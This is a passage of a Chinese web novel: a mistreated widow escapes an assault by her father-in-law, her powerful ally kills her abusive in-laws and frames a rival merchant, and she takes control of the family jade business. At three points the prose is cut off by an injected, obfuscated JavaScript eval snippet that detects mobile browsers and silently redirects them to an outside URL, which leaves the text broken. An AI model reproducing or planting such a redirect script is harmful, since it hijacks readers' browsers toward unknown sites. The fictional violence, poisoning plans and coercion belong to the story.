庄上仆人本就不多,陈母一走还带了一半,彩玉被调去前院指挥其他下人运转庄上的日常。 这天入夜,小院静悄悄。 夏知霜在房内练字,听见门响了,随口招呼:“回来了?那边怎么样了。” 她和彩玉经常到对方的卧室串门,不分早晚,习以为常了,因此她头也没抬。 但这回没听到彩玉的回复,她狐疑停笔,抬头时闻见一股夹杂着老人臭的药味,紧跟着,有人从背后猛的一把抱住她。 “放开我!”夏知霜骇然,尖声叫起来。 “里外都是我的人,你叫破喉咙也没用。” 陈父厉声威胁后,凑近她颈侧轻嗅女儿幽香,混浊的眼睛沉醉地半眯,表情猥琐而狰狞。 “反正已经时日无多,何不先让我爽快爽快。牡丹花下死,做鬼也风流!” 夏知霜料不到久病之人力气还那么大,竟挣不脱,嘴巴被捂住也喊不出声音。 她环顾四周,冷静地推演各种可能性。 陈父迫不及待要成就好事,探头去一亲芳泽时,忽然被她带着往地上栽去。 他成了垫背的,后脑嗑中条案的尖角,他痛呼出声,夏知霜趁机脱身。 陈父挣扎起身,破口大骂:“贱人,你找死!” 话音未落,他后颈被一记手刀劈中,当即两眼一黑昏厥过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344610|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 骆怡拖破布一样把他拖走,绕开守门的眼线,丢到院子外面无人的角落。 她返身回屋,扶起失力瘫坐的夏知霜,上下打量:“你没事吧?” 夏知霜摇摇头,惊魂未定,抖着手倒茶小口喝着压压惊。 她想到了什么,胡乱摸索,感受到怀中尚有瓷瓶坚硬的触感才狠狠舒气。 经过适才的事,她下毒不会再犹豫了,与其等老匹夫醒来兴师问罪,或是老妖婆回来大张达伐,还不如先发制人。 夏知霜眼下对陈氏夫妇的恨意达到顶点,心中有个声音嚷嚷着干掉他们一了百了。 然而留存的一丝理智又紧急叫停。 她整理凌乱的鬓发,看向骆怡:“你家主君可有消息了?” 骆怡沉吟道:“大军前日顺利拿下了虞州,旬日后班师,主君不随大军同行,当前已在路上,鲁军师推测主君三日可归,只是……” 她疑惑看去,抬手示意:“直说无妨。” 骆怡接着道:“不知主君是先行墨同里兴,还是直抵青阳城。” 夏知霜明白了她的言外之意。 墨同郡的里兴县是观东四郡的中心点,总督府设在此地,他先回里兴处理公务是理所应当。 他离开了四个月,积压的公务不知有多少,他要是选择先回里兴,怕是没有十天半个月不能抽身,压根不能解她的燃眉之急。 夏知霜在屋中来回踱步,很快做了决定,焦急问:“你可有办法让那老匹夫多昏睡几天?” 骆怡笑了,得意地划拉手刀:“丢他出去前,我给老色鬼补了几下,加上从墙头甩下去的力道,没个三五日醒不来。” 夏知霜彻底放心了。 那就再等等,把答案交给时间,倘刘宁不来,她就自己下手。 少时,庄子爆出一声尖叫,随即一阵兵荒马乱,陈父被人发现并抬回正房。 夜里,陈母拖着疲惫的身子回来,听说丈夫独自在花园“散步”时昏过去了,自是大发雷霆。 陪陈父出去的几个家丁隐约猜到真相,奈何陈父此前给他们下了守口如瓶的死命令,当下也不敢乱说。 陈母赏了几个当差下人的板子,这场风波顺利平息了。 接下来的几日,名医源源不断到庄子看诊,名贵药材一车接一车的送过来。 夏知霜忐忑不安,担心哪个妙手神医真把老匹夫给治醒了。 幸好,病魔压制了陈父的求生意志,老家伙躺在床上气息奄奄,未曾睁过一次眼。 三天后,一队乔装打扮的乌衣甲包围庄子,迅雷不及掩耳之势制住了上下六十口人。 夏知霜听到异响踏出房门,只见有好几人冲进小院,她以外的人都被拿下了。 “我来履约了,不知迟否?”刘宁信步进院。 他逆着光,夏知霜看不太清他的表情,只听得到他的声音很轻,很温柔,仿佛怕吓着她般。 两年了,只有他会用这么柔软的声音跟她对话,只有他把她当人看。 夏知霜不知怎的,突然鼻子发酸,神伤落泪。 刘宁微怔,箭步上前,连连致歉:“对不起,对不起!我来晚了。” 其实他日夜兼程,已经用最快的速度赶回来了。 夏知霜摇头,接过他递来的帕子拭泪:“我感激你还来不及,岂会怪你呢,我只是喜极而泣。” 刘宁怎会看不出她是委屈还是喜极而泣,料想她眼下不需要安慰,体贴的没拆穿。 “你的事,我都听说了,”他神情变得晦暗,“他们现在悉数落到我手里,你想怎么处置?” 夏知霜忆起这两年遭受到的种种磨难,眼神犀利,掷地有声:“我要他们死!” 15. 第 15 章 我要他们死! 小小的院落回响她铿锵有力的话语。 刘宁有瞬息的惊愕,目光投向她乌亮炯然的美目,一时竟挪不开眼。 夏知霜脱口而出后就后悔了,压下汹涌的恨意,不安地改口:“还是给他们留口气吧……” 到底没害过人,一下子就直取人性命,她总觉得有点害怕。 她怕自己手沾人命后,在每个午夜梦回良心难安,更怕自己被噩梦缠身,从此不得安生。 即使那两个人渣该死,她还是不想脏了自己的手,也不想脏了刘宁的手。 想生吞活剥陈氏夫妇的人比比皆是,放任他们苟延残喘,有的是人要取他们狗命。 刘宁明白她的意思,但没有答应,也没有拒绝。 他陡然转身,拔剑大步离去。 夏知霜下意识要跟上去,听到身后响起不小的争执声。 “好痛!”彩玉在房内被高大的男子架住,本想抬头偷看一眼窗外的景象,却被看守她的人更力的摁头往下压。 那人厉声警告:“老实点。” 彩玉疼得嘶气,见熟悉的绣花鞋进入视野,登时求救:“少夫人救我!” 夏知霜对那人好声好气说:“她是我的贴身侍女,绝无恶意,壮士可否松开她?” 那人犹豫了下,依言放手。 彩玉紧紧跟在她后面,揉捏各个疼痛的关节。 片刻后,刘宁重回小院,剑刃上染了少许血迹。 夏知霜隐约猜到了什么,语气艰涩:“你……” 刘宁利落的把剑回鞘,打断她的话,笃定道:“不是你叫我犯杀孽,是我自己想取他们性命,你无须自责。” 误以为他要杀马而出言劝阻的女子,那个对畜牲尚且十分怜爱的人,刻下不假思索就要取两条人命,足见两年来吃了太多常人难以想象的苦楚。 纵然她后来心软了,他亦不能原谅将她变成这样的罪魁祸首。 他杀的不是人,是两个披着人皮的畜牲。 刘宁又道:“留着他们在,只会祸害更多的人。” 夏知霜听他这么说,罪恶感便消弭了,既欣喜于重获自由,又为未知的将来感到忧虑。 她感激道谢:“如果不是你帮忙,我恐怕还要费很多功夫才能脱离陈家,真是多谢你了。” 刘宁挑起嘴角,目光骤然柔和:“我只是在履行当初的诺言,你不必见外。” 话是那么说,夏知霜底气不是很足,讷讷道:“说来惭愧,我那时也没做什么。” 刘宁摇摇头,一一陈述厉害。 他经历过很多次下属叛变。 自从邻邦将领纷纷自立为王,观东的部分佐官便蠢蠢欲动,可父亲对朝廷忠心耿耿,始终以启臣自居,不料左膀右臂勾结叛变,刘氏全族三百多人除他无一幸免。 逃亡梓渊关途中,好些昔日和蔼的叔伯表面上要施以援手,实则想诱他进城活捉,好送给叛军做投名状。 借宿乡亲家中时,他留了个心眼假装睡熟,果见热情招待他的农夫摸黑离开,欲往县衙报官领赏。 历经重重屏障终于到达梓渊关,他召集刘氏旧部攻打叛军,却接连失力,损兵折将数万。后来发现跟随父亲整整三十年的幕僚是奸细,最不能接受的是,此人还是他的启蒙老师。 盼着他出生,牵过他学步,教过他学识,曾经待他爱如己出的人,为了一万两黄金出卖他。 人心难测。 什么人可信,什么人不可信,他茫然自失。 他开始变得多疑,夜夜枕戈待旦,不曾睡过一个安稳觉,把每个人设想成了叛军的奸细,数次拔刀对准猝然靠近他的人。 长此以往,恐会寒了将领们的心,好不容易凝结起来的大军必成一盘散沙,不待叛军反扑就自取灭亡了。 他忆起了夏知霜,想起他们二人一起逃难的点点滴滴。 经历过那么多次的背叛,更显那段携手共进的情谊弥足珍贵。 世上不止有冻彻人心的霜雪,还有急人之难的温暖。 他醒悟过来,下令斩首昔日恩师,重聚军心,方迎来势如破竹的盛况。 刘宁叹说:“锦上添花易,雪中送炭难,那日你我患共患难的情谊,在下从未忘记。” 他表面上风轻云淡,夏知霜以己度人,心知他过得有多不容易。 正因活得艰难,才贪恋着那一点点放在平时显得微不足道的温暖,私自当成救赎、信念和动力,支撑着麻木的身体熬下去。 “我也一样,一刻不曾忘记。”夏知霜泪盈于睫,百感交集。 分开的那段时日,他们都把彼此当成了重要的人,她为这个惊奇的发现而窃喜,有种自己不是“自作多情”的释然。 有些感触只可意会不可言传。 刘宁同她四目交汇,交换了个心照不宣的眼神,笑意加深。 彩玉来回扫视他们二人,犹豫着要不要回避。 “主君,”骆怡匆匆奔来,“有批人从城里送食物和药材过来,属下已尽数扣押。” 刘宁颔首,对夏知霜道:“我会在青阳盘桓几日,你若信得过我,后面的事就转由我处理,你可到我于青阳的别院暂避风头。” “我久居深闺不通俗事,你肯帮我,我自是感激不尽,”夏知霜言辞恳切,然后话锋一转,“你已帮扶我甚多,不敢多叨扰,我住来福客栈即可。” 来福客栈是陈家的连锁店,她去住自家店铺合情合理。 她实在被关出心理阴影了,不愿再只身去别人家。 刘宁对此没有意见,谴骆怡送她悄悄进城。 次晨,陈父病故、陈母悲愤殉情的消息不胫而走。 陈父恶疾缠身不是秘密,病死不足为奇,这陈母悲愤中的“愤”从何而来就引人深思了。 有知情人透出小道消息,称这一切皆是陈记的老对头金记为了搞垮陈家而做的局。 陈记和金记同做玉石生意,两家为了抢客源没少对簿公堂,陈家赢多输少,稳坐观淇首富之位。 金记的老板金达荣多次公然表达不忿,年年跟陈记打擂,屡战屡败,怀恨在心。 这不,金达荣趁陈父养病时给陈记泼脏水,什么坑蒙友商、以次充好全是子虚乌有,有也是金达荣栽赃陷害! 金达荣老贼特意选在陈父病重时,纠集人马到陈家正门破口大骂,气得陈父吐血三升,他们犹嫌不足,还要叫嚣去挖陈鸿彦的坟。 都说死者为大,且陈家已然绝后,金老贼毁人坟墓这招出得过于阴损,所以陈父没两天就气死了。 陈母痛失爱子后又失去丈夫,陈记又名誉全失,眼看不日就要倒灶,悲愤难当,残生无望,遂与儿媳服毒自尽。 好在儿媳丛氏命大,成功抢救回来了,陈母却一命呜呼。 看呐,陈家被害得多惨呐,家破人亡,险些团灭了。 促成这一切后果的金老贼真是阴险狡诈,他实在太可恶,太过分了! 陈记倒灶,可不就便宜了金记? 各位父老乡亲,咱千万不能让恶人的奸计得逞,若是纵容这种风气,下一个被算计的可能就是你家了。 走!咱们去冲了金记,去声讨金老贼,去报官,让青天大老爷为可怜的陈家讨回公道! 流言愈演愈烈,青阳城的义士们联合起来讨伐金家,金家重走一遍陈家经历过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351638|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一系列糟心事。 于是乎,消息蔓延到其他三郡,乃至旁边淇南的五郡,整个观淇人尽皆知。 官府尚未公布调查结果,“陈家悲惨好人家,金家恶毒大坏蛋”的印象已经深入人心。 夏知霜听说后瞠目结舌。 原来古时的舆论节奏也是这么玩的?有些东西真是亘古不变啊。 她看向彩玉:“金记真是陈家的劲敌?”陈鸿彦的手札没记录这些,这事她还是第一次听说。 彩玉点头:“以我的了解,金老贼确实做得出阴毒之事。” 夏知霜不免侧目。 少女,你都跟着叫金老贼了,莫不是也被舆论影响了吧? 知道些内情的骆怡表示:“主君一贯有的放矢,不会冤枉任何一个好人,能放出这种消息,说明金老贼绝对不冤枉,金老贼怎么死都不为过。” 夏知霜移目向她,这位少女一口一个金老贼,你也“中毒”不浅啊。 不过她也认同刘宁的处事方式。 陈记信誉危机的背后明显藏有很多推手,金达荣多半是被推出来顶罪的,真要一个个揪出幕后黑手,丰瑛郡得乱成一阵子,陈记也无法翻身。 水至清则无鱼,有时候要学会当睁眼瞎。 夏知霜感慨万千,又学会了一个处世之道。 没多久,官府出示调查公告,证明陈家属实冤枉,金达荣栽赃陷害的证据确凿,被判秋后问斩。 公告的内容跟流言传的几乎一致,恶人罪有应得,正义得到伸张,这让参与声讨金家的百姓欢呼雀跃,成就感爆棚。 身为陈家仅存的独苗,夏知霜对整个调查的过程不得而知,如刘宁所说,她不需要操心任何事。 葬礼还是要出席的。 是的,她只需要出席,刘宁连葬礼的准备工作都包圆了。 陈家没有什么近亲了,陈氏夫妇怕远亲上门“乞讨”,早就跟他们断绝了关系,参加葬礼的人都是陈父的生意伙伴,以及各地店铺的管事。 夏知霜借此机会,一个个认下他们的面貌和职务。 然后就是一个劲的哭丧。 她这两年为了少挨打锻炼出了超绝的演技,表演一个心灰意冷、伤心欲绝的遗孀不是问题。 其实光看消瘦的身形和苍白的脸色,谁都不会怀疑她是虚情假意。 瞧瞧,都伤心得水米不进饿到皮包骨了,可怜啊。 听说她还跟婆母相约自尽,真是位贞烈的好女子,老陈家真是没娶错人啊。 ——在场之人瞧见她泣不成声的模样,无不深感同情。 办完陈家丧事,夏知霜第一件事就是给丛贞修墓立碑。 她在墓前沉默了良久,幽幽地叹:“丛贞死了,从今往后,我名为夏知霜。” 闻讯赶来的刘宁抚掌而笑:“经春沐夏知世暖,淬雪临霜且吟悠,好名字。” 夏知霜囧囧的。 有文化的人说话就是不一样,她都不知道父母随手翻字典得来的名字还能这么解读。 她看向刘宁身后的马和一队带了行囊的人,讶然:“你要走了?” 刘宁点头:“天下无不散之筵席,天高地长,后会有期。” 他是四郡之主,日理万机,何况战事方休,能逗留此间那么久已是极限,而且他那么赶还特意过来道别一声,礼数给得十分充足了。 夏知霜没有多留,轻声道:“一路保重,后会有期。” 刘宁应声,面对她倒退着走,似乎想说些什么,但他最后只是对她笑了笑,转身上马。 马蹄声起,垂缨青影慢慢离开视野范围。 风起来,山静了,她的心跟着沉了。 16. 第 16 章 刘宁真的走了,不过担心她一个弱女子护不住庞大的遗产,留下了骆怡和鲁元供她驱使。 目下各方势力少不了明里暗里盯着她,不乏心术不正的人想要铤而走险,骆怡继续充当她的贴身保镖,为期半年。 鲁元年过四旬,留八字胡,身形痩条,瞧着是个足智多谋的精明相。 他本是刘宁帐下军师,此次是派过来给她当智囊用的,教她如何重振陈记,快速在青阳城立稳脚跟。 一个指挥千军万马的军师竟来操劳生意事,确实是纡尊降贵了,心下难免会觉得不平。 文人多傲,最注重脸面。 夏知霜相当识趣,摆出诚惶诚恐的姿态,万分不敢怠慢,让彩玉给他安排最舒适的客房,严令下人对他有求必应。 反正就是表明一个意思:知道军师大人您来操心我的事是大材小用了,小女子真是三生有幸才能得到您的指导,请您务必知无不言,小女子必定伏阁受读。 鲁元好吃好喝好住,看在她毕恭毕敬的份上,原先对主君的这个安排感到的些微不快便烟消云散了。 也罢,此前就没少给她出谋划策,派骆怡保护、收服武氏和散播流言都是他出的主意,多出几计也无伤大雅。 他习惯性摸摸小胡子,徐徐分析她的境遇。 “经此一事,陈记信誉失而复得,以陈记如今在民众中的声望,振兴不是难事。金达荣秋后伏诛,金记必然倒灶,少夫人亦无后顾之忧。” 夏知霜赞同地点点头,后知后觉的发现,金达荣被推出来顶缸真是一步妙棋。 其他玉商跟陈记和金记不是一个体量,金记一倒,陈记暂无劲敌,有了喘息之机,只要她不做太离谱的决策,陈记迟早重获荣光。 鲁元余光瞥见她全然听信的模样,继续往下说。 “陈记存世逾百百,运作方式成熟,短期内不必改弦更张,一如既往的经营即可,至少半年不会出岔子,少夫人迫在眉睫之事是学会御下。” “据鄙人所知,陈记在观淇九地共有店铺六百二十三家,把玉石运出观淇外的商路四十八条,所属人员总计五万七千人,其中,少夫人只需懂得如何驾驭一人就足矣。” 夏知霜虚己以听,茅塞顿开。 这些知识在陈鸿彦的书房里学不到,彩玉困在内宅也不太懂生意上的事,她还是头一次这么详细的了解陈记的事。 她求学若渴,忙问:“是谁?” 鲁元捻着胡须笑了笑,娓娓道来。 “依大启刑统第四篇之十六条,在任官员不许经商,郎中和员外虽为虚职,亦受律法所限,违者革职抄家。陈员外在捐官前,将所有生意在明账上转给了一个叫丁卯的人。” “丁卯原是陈员外的生死至交,陈员外把生意转手后,担心他将陈记产业据为己有,以丁家老小的性命胁迫丁卯誓死效忠,二人自此离心。” “丁卯对陈记一应事务手拿把掐,少夫人制服了丁卯,便是掌控了整个陈记。” 夏知霜恍然大悟,随即面露迟疑。 己所不欲勿施于人,她不太想按照陈父的方式让丁卯屈服,起码不该拿家人的性命胁迫别人听话,那样太缺德了。 但如果别无他法,在拿捏别人性命跟自己性命被拿捏之间做抉择,她还是会选择前者。 夏知霜不耻下问:“敢问军师有何高见,莫非我要学那老匹夫……学我公公挟制他的办法?” “非也,强制胁迫只适用于权宜之计,不能长久,”鲁元笑得高深莫测,耐心反问,“少夫人可曾垂钓?” 没有,但没吃过猪肉也见过猪跑。 夏知霜略微深思,豁然开朗。 若想鱼儿上钩,先给饵料吊着,待鱼儿咬钩,明知是陷阱也跑不了了。 水往低流,人为利往,要想丁卯心甘情愿的听话,首先得保证她能给予丁卯最得到的东西。 那么,丁卯所求为何? 鲁元把这个问题抛给她自己去想。 夏知霜叫人去收集丁卯的资料,越详细越好,知己知彼方能百战不殆嘛。 “何不去老爷的书房找找?”彩玉提供了不错的建议,“大书房以前管得严,不许闲杂人等随意靠近,想来藏有不少机密。” 那就得回陈府了。 夏知霜被关在那里关怕了,除了办丧事那次没再回去过,对外的说法是不想触景伤情。 如果可以,她一刻都不想再踏进那个全是可怕记忆的地方。 彩玉察言观色,又说:“我跟丁老夫人的婢女巧云认识,不如我去打听打听?” 夏知霜来回踱步,做了最终决定:“还是先去前院的书房看看,你陪我走一趟。” 陈府还是老样子,变的只是人心。 收到消息的郑管家早早率众出来迎接,老脸笑成了开败的菊花,亲自给她掀车帘,殷勤改了称呼。 “恭迎夫人回府!”众人异口同声,齐刷刷跪地行礼。 夏知霜探身打量。 水房的陆婆子,绣房的周绣娘,前院的李管事等等,府上所有管事出来迎接她了,甚至陈父纳进门的几位姨娘都跟在下人后面赔着笑脸。 视线下移,往日颐指气使的柳绿跪在马车下,众目睽睽中给她当私身。 夏知霜静静凝视她,缓缓挑起嘴角。 柳绿被她看得冷汗直冒。 之前她被夫人留在府中管事,后来听说老爷和夫人没了,跟去的徐奶娘了无音讯,庄上的人全部都像是人间蒸发,她就知道坏事了。 时移世易,她以前三番两次对“夫人”不敬,现在不得不当众服软,先保住小命再说。 柳绿时刻凝神,终于等到车上的人动了,她腰身跪得更板正,好让夫人踩得更稳当。 事与愿违,夫人玉足没有从她身上踏过去,直接跳下了马车,众人的眼睛瞪得像铜铃。 夏知霜吩咐郑管家:“我不喜欢踩着人下轿,日后备个矮凳放我车上。” “是。”郑管家即答。 她理都没理旁人,仰首看了眼顶上锃光瓦亮的“陈府”牌匾,像是才知道大门是个什么模样。 事实上,这的确是夏知霜初次通行大门。 以前是从偏门和角门过,陈氏夫妇出殡那日她本该从正门进出,但她“余毒未清”、“悲伤过度”、“虚弱昏厥”了,后事就转交郑管家料理了。 谁能想到,陈家有一天会由她接管。 夏知霜足有几瞬才迈开长腿,重进陈家的大门。 下人一窝蜂跟在后头,武氏最靠前,汇报这段时间府里一切如常,并询问她要不要视察一遍。 夏知霜本想直奔书房,不知怎的答应下来了。 行至正院门口,想起每天端水跪在院子里,等老妖婆午睡醒来伺候她梳洗,风雨无阻。 走到正院中央,想起刚进陈家那天,老妖婆下死手鞭打她的情景,直到今天,她身上还遗留鞭伤的疤痕。 夏知霜不禁抚过伤疤的位置,隐约感到轻微幻痛。 疤痕不止留在躯体上,还刻进了她心里。 彩玉注意到她的异样,附耳低声说:“还是别看了吧。” 夏知霜挥手示意陪同的人离远些,神色黯然。 “即使不回这里,我也总做噩梦,若我不敢直面曾经的苦难,他们留给我的阴影不知要伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377393|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随我多久。” 既如此,彩玉不好多言。 二人走到水房,不免停下来。 她曾在这里洗衣裳洗得昏天暗地,夏天双手不断被泡脱皮,冬天刺骨的寒冷总令她生冻疮。 远远跟随的陆婆子脸上不太自然,羞愧得脑袋快要埋到胸口里了。 路过厨房,轮到管事的庄婆子追悔莫及。 她一个十指不沾阳春水的人,硬是被逼得按照庄婆子给的膳食单锻炼成厨子。 明明时间还很充裕,庄婆子非要她以最短的期限做出六菜二汤一羹一点心,害得她手忙脚乱,受过的刀伤、烫伤和烧伤不计其数。 路过绣房,唯周绣娘面不改色。 她被丢进绣房学织布绣花,周绣娘只照上头的指令行事,没有额外苛待她。 哪怕如此,之前对此一窍不通的她仍学得很吃力,十指几乎没有完好的时候。 夏知霜特地绕到住过的下人房。 房间昏暗狭窄,只放得下一张木板拼成的小床和桌子,没有窗户,不到傍晚就昏暗了,春秋被褥总散发着一股霉味。 武氏犹豫地问:“夫人,要不要把这间屋子封起来?” 她回说:“不必,空着就行。” 一行人来到如漆院,夏知霜没有进去。 重游故地,身份不一样了,连带心情也都不同了。 她回身扫了眼众人。 “你,还有你,限明日之前离府,回老家养老去吧。” 被点到的陆婆子和庄婆子脸色灰败,想要嚎两句求情,武氏使了个眼色,她们很快被人捂嘴拖下去了。 “我乏了,散吧。”夏知霜不耐烦挥手。 她刚刚立威,乌泱泱的人群哪敢有意见,立即作鸟兽散,生怕下一个被撵走的人是自个,只有郑管家夫妇退远点听候差遣。 彩玉提醒:“柳绿如何处置?”人还在门外长跪呢。 夏知霜没纠结,对武氏招手,叫她送柳绿去给桃红作伴,武氏领命退下。 说到底,下人昔日对她那么恶劣都是听从陈母的命令,她明白身不由己的无奈,不想跟他们过多计较。 可是桃红、柳绿和陆婆子之流狐假虎威,对她行恶时变本加厉,她不可能放过这些人。 陆婆子和庄婆子举家被撵带不了多少细软,也去不了别家做事,回乡只会晚景凄凉。而柳绿风光时得罪过不少人,一遭落魄,底下的人怎么会放过她。 夏知霜不愿再想这些无关紧要的杂事,直接问彩玉:“你想要如漆院吗?” 毕竟如漆院有她和陈鸿彦的诸多回忆。 彩玉想都没想,木然拒绝:“人都不在了,我守着死物有什么用。” 夏知霜又问:“那,陈鸿彦的名分……” 记得彩玉说过既害怕又盼望陈鸿彦大婚,害怕他有了新欢忘了旧爱,盼望他娶了门当户对的妻子后如约抬她位分。 现在她能做主了,如果彩玉还执着位分,她乐意成全她跟陈鸿彦。 彩玉还是那句话:“人都不在了,担着虚名有什么意义。” 夏知霜尊重她的选择,对郑管家道:“封存如漆院,唯彩玉姑娘自由进出。” “是,”郑管家从下人手中拿走晾好的名茶,转手奉给她,“夫人,前院的书房打扫好了,是否移架?” 夏知霜喝茶润喉,朝他颔首,郑管家立马带路。 她把茶碗交给下人,施施然前去,说不暗爽是不可能的。 原来当家做主是这种感觉。 所有人都得仰望你、依附你,你一句话就能决定他们的生死,他们会巴结你、背叛你,却绝不敢忤逆你。 17. 第 17 章 前院的书房是如漆院书房的两倍大,几十个书架满满当当,全是正经书籍。 夏知霜和彩玉翻了一上午,没能找到一本跟情报沾边的书。 直觉告诉她这很不对劲,如果大书房没点不能见人的东西,老匹夫怎会防守那么严密。 一定会有用得上的资料,看架势“好东西”还不少,只是她们没找到。 又过一个时辰。 夏知霜一无所获,不得不喊骆怡进来,问问她能不能找出一二间密室来。 “我试试。”骆怡摩拳擦掌。 许是专业对口,真给她在一个灯架上面找到开启密室的机关,墙面豁开一条密道。 骆怡守在外,夏知霜和彩玉结伴进去探个究竟。 密室很宽敞,燃着长明灯,十个书架也是满的,吊着密密麻麻的书签,签上记着人名。 夏知霜盲选几本打开来看,发现有的是情报书,什么哪家生意是个什么状况,和谁结仇,跟谁交好,有什么弱点等。 有的则是账本,详细纪录每一次送礼详情,疑似贿赂官员的明细。 她不意外的看到书签上有刘家,特别标记了总督府。 夏知霜翻阅两下,看到陈父早前给总督署送过几次厚礼,均被原样退回,中间断过几年,陈父改为给刘府献礼,都是些不轻不重的寻常物。 经年累月下来,薄礼也积攒成厚礼了。 应该是老匹夫贿赂刘老总督不成,迂回送礼给刘家女眷博眼缘,预防哪天陈家事发,陈母可以通过女眷求到老总督跟前。 此外,不止丰瑛郡的大小官员,墨同郡、台开郡和石答郡的郡守也没落下,观东四郡的官员皆“榜”上有名。 要是这些账本流传出去,定会掀起不小的风浪,难怪会被藏进密室来。 “找到了,快过来。”彩玉在另一头呼唤。 夏知霜循声找去,果见书签上写着“丁卯”二字。 丁卯其人老实忠厚,值得深交——陈父的亲笔原话。 她和彩玉对视一眼,放心少许,能得到老匹夫这么大肆夸赞的人,性情肯定错不了。 丁卯是个好人,唯独有个缺点,好酒,常常酒后失言与人交恶。 九年前,他给独子丁原找了个门路,想把儿子塞进石答郡彤州的县衙里做账房伙计,以躲避愈发频繁的征丁。 答谢宴上,他醉酒胡言,把作为中间人的石答郡守的师爷给得罪个彻底,差点被人弄死,是陈父花了大价钱把他们父子保下来。 丁卯由此给陈记卖命,但丁原的腿被打瘸,现在二十有二仍赋闲在家,前途算是毁了。 后面的两页纸记载丁卯的月俸,丁卯要还陈父捞他的巨额账目,因此作为在外风光无两的陈记大掌柜,他的收入只堪堪够养家糊口。 有趣的是,陈父在别的账本上记有当年捞丁家父子的具体金额,比对丁卯说的金额足足少了一倍,算下来,丁卯早四年前就用苦力还完了。 要不怎么说豪商最无情呢,连至亲好友都能坑个彻底。 彩玉翻来覆去,没能从薄薄的几页纸找出关键性线索,有点丧气:“别人的册本那么厚,就记他的事最少,有用的没几条。” 夏知霜把书放回原处,笑道:“怎么会呢,足够了。” 灯光昏暗,彩玉不知道自己有没有看错,居然觉得她方才的笑有点瘆人。 夏知霜挑挑拣拣,选几本不太重要的书拿出去,分散放在外面的书架上,以掩盖密室的存在。 回到客栈,她跟鲁元汇报她的所见所闻。 鲁元耐心听完,眼神充满鼓励:“你想怎么做就怎么做,若事不成,我会帮你收拾残局。” 授人以鱼不如授人以渔,他可不想日后再被主君派来做杂事了。 夏知霜第二天就约了丁卯会面。 丁卯四十许人,面貌普通,不卑不亢:“丁某见过东家,幸得东家召见,丁某顺便带了这季度的账本,请东家过目。” 夏知霜移向厚厚一摞的陈记账本,好家伙,这得看到何年何月。 世人皆知她是个深宅妇人,且出身低微,识不识字都不好说,那么复杂的账本自当看不懂。 他一上来就把那么多账本丢给她,说他没有势大压主的嫌疑谁信,他莫不是以为陈父没了便可鸠占鹊巢,把陈记当成自己的所有物了。 夏知霜不接他的茬,往下首的座位随手一比:“先不忙,我此行不是来看账本的,丁叔请坐。” 丁卯目光微顿,带着疑色入座。 她抬手请茶,微笑温言:“我曾听公婆提过丁叔很多次,说是两家一直交好,丁叔就像自家人一样,所以丁叔虽不识我,我却对丁叔神交已久。” 丁卯不知道她葫芦里卖的什么药,巴巴陪笑两声,茶水沾沾唇就放下了。 外人不知道这位少夫人的底细,他可是清楚得很,她在陈氏夫妇面前压根说得上话,如何听他们提起过他,简直是无稽之谈。 夏知霜假装看不到他嘲弄的表情,微笑仿佛焊在脸上:“我久居深闺,才疏学浅,乍然接手陈记,难免不能服众。” 那是自然,丁卯整理衣摆,眉宇间的得意藏都藏不住。 他在陈记当牛做马勤勤恳恳,才在九年前当上大掌柜,陈记上上下下里里外外哪个不服他,这位半路杀出来的少夫人若想顺利接手陈记,有的是求他的时候。 夏知霜余光打量他的神色,开口道:“因此,有人提议我接任的时候,把陈记的管事大换洗。” 不可能,丁卯面色一僵,不信她会蠢到这份上。 陈记刚走出信誉危机,正是重振旗鼓的时候,在这个节骨眼大换管事岂不是自掘坟墓。 夏知霜继续道:“那人还说,别的管事换不换倒不着急,紧要的是先找人代替丁叔,我才好提拔和培养自己的心腹。” 丁卯表情凝重,怀疑她是在敲打和试探他才胡说八道。 夏知霜悠然起身,缓缓漫步。 “莱州的陈掌柜在陈记从业三十年,兢兢业业,为人稳重。阑州的孟掌柜深得公公信任,经手不少不能外道的秘辛,值得托付。彤州的李掌柜交际广泛,对拓宽陈记商路发挥了极大的贡献,劳苦功高。” 她提到彤州时用了重音,丁卯的心遽然下沉,摸不透她知不知道自己的老底。 而后又听她如数家珍般说了□□位管事的名字,每个人说得准确无误,丁卯的冷汗就冒出来了。 他对陈记是很重要,但没到不可或缺的地步,对方在明晃晃的告诉他其已深谙此道。 夏知霜回身浅笑:“虽说有那么多人选,我却认为,丁叔和我们亲如一家的缘分实属难得,不想因为一朝人事变动就远了关系,丁叔你觉得呢?” 丁卯草草点头,擦了擦冷汗:“敢问东家,何人提的建议?” 她收起笑容,哀伤愧疚:“我未能听从他的建议,不方便透露他是谁。” 丁卯揣度她的神色,瞬间有 